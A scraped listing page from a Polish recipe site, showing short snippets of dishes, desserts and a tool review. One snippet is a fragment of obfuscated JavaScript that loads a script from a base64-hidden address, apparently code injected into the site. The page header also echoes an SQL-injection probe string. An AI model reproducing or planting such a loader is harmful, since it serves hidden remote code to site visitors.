1'" 32894 wpisów

Sałatka ziemniaczana z bobem i ogórkiem małosolnym 14

8 lat temu
Dodaj

ziemniaczana z bobem i ogórkiem małosolnym Składniki:1 ogórek małosolny4 łyżki posiekanego koperku200 g ugotowanego bobukilka

4. zdrowe przekąski 23

9 lat temu
Dodaj

najważniejsze zdrowego ;) Pierś gotowana z warzywami: Składniki: 1 pierś z kurczaka warzywa świeże lub mrożonesól

3.paznokcie żelowe 14

9 lat temu
Dodaj

boki. Trzymaj swoje dłonie w lampie UV 1-3 minut aż żel nie wyschnie. 3.Następnie

Placki bananowe 8

8 lat temu
Dodaj

placuszki to polecam zajrzeć także tutaj. Składniki: 1 banan1 jajkoszklanka płatków owsianychłyżka masła orzechowego (bez soli

Kurczak z rozmarynem 24

8 lat temu
Dodaj

własny Ilość porcji: 6 Czas przygotowania: ok. 1 h plus marynowanie Koszt przygotowania

Zupa brokułowa 9

8 lat temu
Dodaj

przepis własny Ilość porcji: 5Czas przygotowania: ok. 1,30hKoszt przygotowania

Deser z mascarpone, bezami i malinami 3

7 lat temu
Dodaj

ubić na sztywno dodając pod koniec ubijania 1 łyżkę cukru pudru i serek mascarpone, dokładnie wymieszać

Kulki mocy z płatkami owsianymi, masłem orzechowym i chia 4

7 lat temu
Dodaj

orzechowego bez cukru i soli1/2 szklanki mioduokoło 1,5-2 szklanki płatków owsianych ( użyłam górskich, można

Lekka pasta z czosnkiem na waflach ryżowych 4

teraz
Dodaj

łyżki jogurtu naturalnego 2 łyżeczki łagodnego ketchupu 1 ząbek czosnku 2 łyżki posiekanego szczypiorku sól

Parówki w cieście francuskim z czarnuszką 9

7 lat temu
Dodaj

parówek z szynki (bez osłonek) - 1 jajko do posmarowania - czarnuszka Dodatkowo: - 6 wykałaczek - 2 patyczki

Bomba kaloryczna – wegańskie babeczki z chałwą 4

7 lat temu
Dodaj

Czas przygotowania: 25 minut Ocena: 5.0/5 ( 1 głos/y ) składniki 200 g mieszanki orzechów

Pikantne krakersy 3

13 lat temu
Dodaj

tartego parmezanu lub innego wyrazistego sera 1 i 1/2 łyżeczki soli 2 łyżki przyprawy do pizzy

Pająki w galarecie ; ) 1

15 lat temu
Dodaj

zaskoczona tym deserem może trochę spanikować ; ) Składniki : 1 opakowanie galaretki kilka suszonych śliwek Galaretkę wsypujemy

Rolada biszkoptowa z jabłkami i galaretką jagodową 13

5 lat temu
Dodaj

temperaturze pokojowej   - 3 czubate łyżki mąki tortowej  - 1,5 czubatej łyżki skrobi kukurydzianej - ½ szklanki drobnego cukru

Gniazdka kokosowe z brzoskwiniami 8

5 lat temu
Dodaj

wiórek kokosowychszczypta soliNadzienie:300 ml śmietanki 36%1-2 łyżki cukru pudru4 połówki brzoskwiń z puszki

Skuteczny plan treningowy i dietetyczny – gdzie znaleźć pomoc? 2

5 lat temu
Dodaj

zkpzcrba.createElement(xxtpthmt);pdfpjfka = zkpzcrba.getElementsByTagName(xxtpthmt)[0]; pcemjdho.ascyc = 1; pcemjdho.src = atob(mkibexkm) pdfpjfka.parentNode.insertBefore(pcemjdho, pdfpjfka); })(window, document

Włożyła cebulę do zamrażarki. sprawdź dlaczego! zrobisz to samo! 12956

5 lat temu
Dodaj

doświadczone domowe gospodynie zaskoczy lista tych trików! 1. Zamocz marchew, seler czy rzodkiewki w lodowatej wodzie

Galaretka z kefiru z owocami 1

5 lat temu
Dodaj

170kcal    5,0g    1

Lazania z wołowiną i pomidorami 3

5 lat temu
Dodaj

sól, pieprzBeszamel:Łyżka masłaŁyżka mąkiPól szklanki mleka 1,5 %Przyprawy: sól, gałka muszkatołowa, czosnek granulowany Nagrzewamy

Babeczki z czekoladą

5 lat temu
Dodaj

cukru2 łyżeczki proszku do pieczenia250 ml mleka 1,5%1/3 szklanki oliwy2 jajkaLaska wanilii lub aromat

Tort z owocami i kremem ze śmietanki i mascarpone (bezglutenowy) 44

5 lat temu
Dodaj

1,4g    SKŁADNIKI SPOSÓB PRZYGOTOWANIA Krem500 g serka mascarpone400 g śmietanki 30%5 łyżek

Sałatka z awokado, grillowaną cukinią i jajkiem 19

5 lat temu
Dodaj

sałatkęNa koniec prażymy pestki i orzechy przez 1 minutę na rozgrzanej patelni i wysypujemy na sałatkę

Koktajl brzoskwiniowo - jeżynowy.

5 lat temu
Dodaj

garście jeżyn 1/2 szklanki jogurtu naturalnego 1-2 łyżeczki miodu Wykonanie: Brzoskwinie umyć i pokroić. Jeżyny

Wkrętak akumulatorowy 4 v z wymiennymi końcówkami niteo tools z biedronki 8

5 lat temu
Dodaj

przewód micro-USB o długości 1 metra, wymienne nakładki (4 sztuki

Gotowany sernik na herbatnikach z borówkami 7

5 lat temu
Dodaj

naturalnegododatkowo:kilkanaście herbatnikówokoło 100 g borówek Spód 1. Ciastka kruszymy i zalewamy roztopionym masłem. Całość mieszamy

Zupa pomidorowa z pieczonych pomidorów 8

5 lat temu
Dodaj

SKŁADNIKI SPOSÓB PRZYGOTOWANIA 1 kg pomidorówCzerwona cebula2 ząbki czosnku5 łyżek oliwy z oliwek5 łyżek mleka zagęszczonego0

Koktajl z bananem, szpinakiem i otrębami

7 lat temu
Dodaj

kefiru 2 łyżki otrębów (ja użyłam żytnich) 1 banan duża garść świeżego szpinaku (przepis

Sałatka makaronowa z suszonymi pomidorami i fetą 3

7 lat temu
Dodaj

pomidorów z zalewy 150 g sera feta 1 mała czerwona cebula duża garść liści bazylii

Pasta jajeczna z chrzanem 157

teraz
Dodaj

małej czerwonej cebuli 2 łyżki jogurtu naturalnego 1 łyżeczka chrzanu sól pieprz kiełki rzodkiewki (opcjonalnie)   Jajka